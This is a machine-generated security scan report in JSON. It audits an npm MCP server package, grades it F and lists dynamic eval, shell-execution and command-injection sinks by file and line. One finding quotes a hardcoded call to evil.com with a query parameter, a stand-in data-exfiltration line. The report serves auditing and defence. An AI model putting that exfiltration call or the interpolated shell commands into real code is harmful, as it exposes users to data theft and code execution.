Ai Verify — the complete, unedited output of the deterministic mcptrustchecker engine v1.5.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.5.0",
"methodologyVersion": "mcptrustchecker-1.4"
},
"target": {
"id": "@validpilot/ai-verify-mcp",
"source": {
"kind": "package",
"origin": "@validpilot/ai-verify-mcp"
},
"server": {
"name": "@validpilot/ai-verify-mcp"
}
},
"grade": "F",
"score": {
"score": 50,
"grade": "F",
"band": "F",
"categorySubtotals": {
"injection": 50,
"exfiltration": 0,
"permissions": 0,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"ruleId": "MTC-SRC-009",
"category": "injection",
"severity": "medium",
"confidence": "strong",
"rawWeight": 9,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 6.3
},
{
"ruleId": "MTC-SRC-010",
"category": "injection",
"severity": "high",
"confidence": "strong",
"rawWeight": 22,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 15.4
},
{
"ruleId": "MTC-SRC-010",
"category": "injection",
"severity": "high",
"confidence": "strong",
"rawWeight": 22,
"confidenceMult": 0.7,
"diminishingFactor": 0.5,
"appliedPenalty": 7.7
},
{
"ruleId": "MTC-SRC-010",
"category": "injection",
"severity": "high",
"confidence": "strong",
"rawWeight": 22,
"confidenceMult": 0.7,
"diminishingFactor": 0.25,
"appliedPenalty": 3.85
},
{
"ruleId": "MTC-SRC-010",
"category": "injection",
"severity": "high",
"confidence": "strong",
"rawWeight": 22,
"confidenceMult": 0.7,
"diminishingFactor": 0.1,
"appliedPenalty": 1.54
},
{
"ruleId": "MTC-SRC-010",
"category": "injection",
"severity": "high",
"confidence": "strong",
"rawWeight": 22,
"confidenceMult": 0.7,
"diminishingFactor": 0.1,
"appliedPenalty": 1.54
},
{
"ruleId": "MTC-SRC-011",
"category": "injection",
"severity": "high",
"confidence": "strong",
"rawWeight": 22,
"confidenceMult": 0.7,
"diminishingFactor": 1,
"appliedPenalty": 15.4
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.4"
},
"capability": {
"level": "high",
"reasons": [
"can send data / act on an external service",
"can execute shell commands or code"
],
"tags": [
"code-exec",
"external-sink"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": false,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"No tools were enumerated, so prompt-injection, capability and toxic-flow analysis had no tool surface to inspect. To grade a package’s real runtime tools, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-SRC-010",
"title": "Dynamic evaluation of a non-literal value (engines/playwright_adapter.js)",
"category": "injection",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`engines/playwright_adapter.js:174`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engines/playwright_adapter.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-010",
"file": "engines/playwright_adapter.js",
"line": 174
}
},
{
"ruleId": "MTC-SRC-010",
"title": "Dynamic evaluation of a non-literal value (handlers/browser.js)",
"category": "injection",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`handlers/browser.js:573`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "handlers/browser.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-010",
"file": "handlers/browser.js",
"line": 573
}
},
{
"ruleId": "MTC-SRC-010",
"title": "Dynamic evaluation of a non-literal value (hands/browser_operator.js)",
"category": "injection",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`hands/browser_operator.js:22`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "hands/browser_operator.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-010",
"file": "hands/browser_operator.js",
"line": 22
}
},
{
"ruleId": "MTC-SRC-010",
"title": "Dynamic evaluation of a non-literal value (hands/verification_runner.js)",
"category": "injection",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`hands/verification_runner.js:104`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "hands/verification_runner.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-010",
"file": "hands/verification_runner.js",
"line": 104
}
},
{
"ruleId": "MTC-SRC-010",
"title": "Dynamic evaluation of a non-literal value (server.js)",
"category": "injection",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`server.js:1379`): Evaluating a runtime value as code (rather than a fixed literal) executes whatever reaches it — a direct RCE primitive, and almost never necessary in legitimate code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "server.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-010",
"file": "server.js",
"line": 1379
}
},
{
"ruleId": "MTC-SRC-011",
"title": "Assembled command execution and dynamic evaluation in the same server",
"category": "injection",
"severity": "high",
"confidence": "strong",
"description": "The implementation builds shell commands out of runtime values AND evaluates runtime values as code. Each is a separate arbitrary-execution primitive; a server exposing both gives anything that reaches either one a direct path to running attacker-chosen code.",
"remediation": "Remove the dynamic eval, and pass command arguments as an argv array instead of building a shell string. If both are genuinely required, constrain and validate every value that can reach them.",
"location": {
"kind": "server",
"name": "implementation"
},
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rules": [
"MTC-SRC-009",
"MTC-SRC-010"
]
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (engines/playwright_adapter.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`engines/playwright_adapter.js:174`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engines/playwright_adapter.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "engines/playwright_adapter.js",
"line": 174
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (handlers/browser.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`handlers/browser.js:573`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "handlers/browser.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "handlers/browser.js",
"line": 573
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (handlers/security.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`handlers/security.js:130`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "handlers/security.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "handlers/security.js",
"line": 130
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (handlers/validation.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`handlers/validation.js:117`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "handlers/validation.js"
},
"evidence": "new Function(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "handlers/validation.js",
"line": 117
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (hands/browser_operator.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`hands/browser_operator.js:22`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "hands/browser_operator.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "hands/browser_operator.js",
"line": 22
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (hands/memory_analyzer.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`hands/memory_analyzer.js:35`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "hands/memory_analyzer.js"
},
"evidence": "new Function(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "hands/memory_analyzer.js",
"line": 35
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (hands/verification_runner.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`hands/verification_runner.js:104`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "hands/verification_runner.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "hands/verification_runner.js",
"line": 104
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (server.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`server.js:1379`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "server.js"
},
"evidence": "eval(",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "server.js",
"line": 1379
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (bin/validpilot.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`bin/validpilot.js:6`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "bin/validpilot.js"
},
"evidence": "child_process",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "bin/validpilot.js",
"line": 6
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (core/win-encoding.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`core/win-encoding.js:16`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "core/win-encoding.js"
},
"evidence": "child_process",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "core/win-encoding.js",
"line": 16
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (engines/chrome_mcp_adapter.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`engines/chrome_mcp_adapter.js:252`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engines/chrome_mcp_adapter.js"
},
"evidence": "child_process",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "engines/chrome_mcp_adapter.js",
"line": 252
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (handlers/atl.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`handlers/atl.js:5`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "handlers/atl.js"
},
"evidence": "child_process",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "handlers/atl.js",
"line": 5
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (server.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`server.js:9`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "server.js"
},
"evidence": "child_process",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "server.js",
"line": 9
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (standalone-start.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`standalone-start.js:10`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "standalone-start.js"
},
"evidence": "child_process",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "standalone-start.js",
"line": 10
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (start-http.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`start-http.js:19`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "start-http.js"
},
"evidence": "child_process",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "start-http.js",
"line": 19
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (handlers/security.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`handlers/security.js:287`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "handlers/security.js"
},
"evidence": "fetch(\"https://evil.com?c=\"",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "handlers/security.js",
"line": 287
}
},
{
"ruleId": "MTC-SRC-009",
"title": "Untrusted input concatenated into a command sink (engines/chrome_mcp_adapter.js)",
"category": "injection",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`engines/chrome_mcp_adapter.js:297`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "engines/chrome_mcp_adapter.js"
},
"evidence": "execSync(`which ${",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-009",
"file": "engines/chrome_mcp_adapter.js",
"line": 297
}
}
],
"toxicFlows": [],
"capabilities": [],
"surfaceDigest": "a9d20f54489dd330804688ed1b5f903756315f981459153c9ebfd8b4c79110d4",
"stats": {
"tools": 0,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 21,
"medium": 2,
"low": 0,
"info": 0
}
}
}